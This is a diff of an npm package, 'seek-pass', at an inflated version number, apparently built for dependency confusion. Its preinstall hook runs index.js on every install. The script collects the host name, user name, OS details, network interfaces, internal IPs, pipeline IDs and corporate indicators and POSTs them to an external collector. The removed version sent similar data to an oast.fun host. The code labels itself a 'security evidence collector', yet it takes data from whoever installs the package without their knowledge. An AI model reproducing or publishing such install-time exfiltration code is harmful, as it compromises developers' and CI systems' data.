+ const proofHash = generateProofHash(allEvidence);
473
+ const payload = {
474
+ ...allEvidence,
475
+ proofHash: proofHash,
476
+ submissionTimestamp: new Date().toISOString(),
477
+ collectorEndpoint: `${COLLECTOR_SERVER}${COLLECTOR_PATH}`
478
+ };
479
+
480
+ const dataString = JSON.stringify(payload, null, 2);
481
+
482
+ return new Promise((resolve, reject) => {
483
+ const protocol = USE_HTTPS ? https : http;
484
+ const options = {
485
+ hostname: COLLECTOR_SERVER,
486
+ port: COLLECTOR_PORT,
487
+ path: COLLECTOR_PATH,
488
+ method: 'POST',
489
+ headers: {
490
+ 'Content-Type': 'application/json',
491
+ 'Content-Length': Buffer.byteLength(dataString),
492
+ 'X-Evidence-Proof': proofHash,
493
+ 'X-Source-Hostname': allEvidence.hostname.systemHostname,
494
+ 'X-Source-User': allEvidence.whoami.username
495
+ }
496
+ };
347
497
 
348
- // Git information (if in repo)
349
- git: gitInfo,
498
+ const req = protocol.request(options, (res) => {
499
+ console.log(`${colors.green}✓ Evidence sent! Status: ${res.statusCode}${colors.reset}`);
500
+ resolve(res.statusCode);
501
+ });
350
502
 
351
- // System information for verification
352
- system: {
353
- hostname: os.hostname(),
354
- platform: os.platform(),
355
- arch: os.arch(),
356
- osType: os.type(),
357
- osRelease: os.release(),
358
- uptime: os.uptime(),
359
- loadAverage: os.loadavg(),
360
- cpus: os.cpus().length,
361
- networkInterfaces: os.networkInterfaces()
362
- },
503
+ req.on('error', (err) => {
504
+ console.log(`${colors.red}✗ Failed to send: ${err.message}${colors.reset}`);
505
+ console.log(`${colors.yellow}⚠️ Evidence saved locally for manual submission${colors.reset}`);
506
+ fs.writeFileSync('./evidence_backup.json', dataString);
507
+ resolve(null);
508
+ });
363
509
 
364
- // Unique proof hash
365
- proof: {
366
- timestamp: Date.now(),
367
- randomNonce: crypto.randomBytes(16).toString('hex'),
368
- integrityHash: null // Will be set below
369
- }
370
- };
371
-
372
- // Generate integrity hash
373
- const dataToHash = JSON.stringify({
374
- timestamp: evidence.collectionTimestamp,
375
- runner: evidence.runner.hostname.system,
376
- pipelineId: evidence.pipeline.id,
377
- pipelineUuid: evidence.pipeline.uuid,
378
- commitSha: evidence.pipeline.commitSha
510
+ req.write(dataString);
511
+ req.end();
379
512
  });
380
-
381
- evidence.proof.integrityHash = crypto.createHash('sha256')
382
- .update(dataToHash)
383
- .digest('hex');
384
-
385
- return evidence;
386
513
  }
387
514
 
388
- // Send to server
389
- async function sendData() {
515
+ // ============ MAIN EXECUTION ============
516
+ async function main() {
390
517
  try {
391
- const data = await collectData();
392
- const dataString = JSON.stringify(data, null, 2);
518
+ console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}`);
519
+ console.log(`${colors.magenta} SECURITY EVIDENCE COLLECTOR - FOR VALID REPORTS ONLY${colors.reset}`);
520
+ console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}\n`);
393
521
 
394
- // Log for debugging (remove in production)
395
- console.log('📊 Collected evidence:');
396
- console.log(` - Runner Hostname: ${data.runner.hostname.system}`);
397
- console.log(` - Pipeline ID: ${data.pipeline.id}`);
398
- console.log(` - Pipeline UUID: ${data.pipeline.uuid}`);
399
- console.log(` - Commit SHA: ${data.pipeline.commitSha}`);
400
- console.log(` - Repository: ${data.pipeline.repository}`);
401
- console.log(` - Machine Fingerprint: ${data.runner.machineFingerprint.hash.substring(0, 16)}...`);
522
+ // Collect all required evidence
523
+ const httpEvidence = await captureHTTPEvidence();
524
+ const hostnameEvidence = getHostnameEvidence();
525
+ const osEvidence = getOSServerInfo();
526
+ const whoamiEvidence = getWhoamiEvidence();
527
+ const ownershipEvidence = await proveProgramOwnership();
402
528
 
403
- const req = https.request({
404
- hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
405
- path: "/seek-pass",
406
- method: "POST",
407
- headers: {
408
- "Content-Type": "application/json",
409
- "Content-Length": Buffer.byteLength(dataString),
410
- "X-Proof-Timestamp": data.collectionTimestamp,
411
- "X-Runner-Hostname": data.runner.hostname.system,
412
- "X-Pipeline-UUID": data.pipeline.uuid
529
+ // Combine all evidence
530
+ const allEvidence = {
531
+ required: {
532
+ httpRequests: httpEvidence, // MANDATORY
533
+ hostname: hostnameEvidence,
534
+ osServer: osEvidence,
535
+ whoami: whoamiEvidence
536
+ },
537
+ ownership: ownershipEvidence,
538
+ metadata: {
539
+ nodeVersion: process.version,
540
+ scriptPath: __dirname,
541
+ timestamp: new Date().toISOString(),
542
+ timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
543
+ language: 'JavaScript/Node.js'
413
544
  }
414
- });
545
+ };
415
546
 
416
- req.on('error', (e) => {
417
- console.error('❌ Request error:', e);
418
- });
547
+ // Display summary
548
+ console.log(`\n${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
549
+ console.log(`${colors.green}✓ EVIDENCE COLLECTED SUCCESSFULLY${colors.reset}`);
550
+ console.log(`${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
551
+ console.log(`\n${colors.cyan}Summary:${colors.reset}`);
552
+ console.log(` • HTTP Requests: ${allEvidence.required.httpRequests.outgoingRequests.length}`);
553
+ console.log(` • Internal IPs: ${allEvidence.required.httpRequests.internalIPs.length}`);
554
+ console.log(` • External IPs: ${allEvidence.required.httpRequests.externalIPs.length}`);
555
+ console.log(` • Hostname: ${allEvidence.required.hostname.systemHostname}`);
556
+ console.log(` • User: ${allEvidence.required.whoami.username}`);
557
+ console.log(` • Corporate Indicators: ${allEvidence.ownership.corporateIndicators.length}`);
419
558
 
420
- req.on('response', (res) => {
421
- console.log(`✅ Data sent successfully! Status: ${res.statusCode}`);
422
- });
559
+ // Send to collector
560
+ await sendEvidence(allEvidence);
423
561
 
424
- req.write(dataString);
425
- req.end();
562
+ console.log(`\n${colors.yellow}Important: This evidence proves the package was executed by:${colors.reset}`);
563
+ console.log(` ✓ User: ${whoamiEvidence.username}`);
564
+ console.log(` ✓ On host: ${hostnameEvidence.systemHostname}`);
565
+ console.log(` ✓ From internal network: ${httpEvidence.internalIPs.length > 0 ? 'YES' : 'NO'}`);
566
+ console.log(` ✓ With corporate indicators: ${ownershipEvidence.corporateIndicators.length > 0 ? 'YES' : 'NO'}`);
567
+
568
+ if (ownershipEvidence.corporateIndicators.length === 0 && httpEvidence.internalIPs.length === 0) {
569
+ console.log(`\n${colors.red}⚠️ WARNING: No corporate indicators found!${colors.reset}`);
570
+ console.log(`${colors.red}This may not be a valid security risk on the program's side.${colors.reset}`);
571
+ }
426
572
 
427
573
  } catch (error) {
428
- console.error('❌ Error collecting/sending data:', error);
574
+ console.error(`${colors.red}Error collecting evidence:${colors.reset}`, error);
429
575
  process.exit(1);
430
576
  }
431
577
  }
432
578
 
433
- // Execute
434
- sendData();
579
+ // Run the collector
580
+ main();
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "seek-pass",
3
- "version": "100.6.0",
3
+ "version": "100.10.0",
4
+ "description": "",
5
+ "main": "index.js",
4
6
  "scripts": {
5
7
  "preinstall": "node index.js"
6
8
  },
7
- "main": "index.js",
8
9
  "keywords": [],
9
10
  "author": "",
10
- "license": "ISC",
11
- "description": ""
11
+ "license": "ISC"
12
12
  }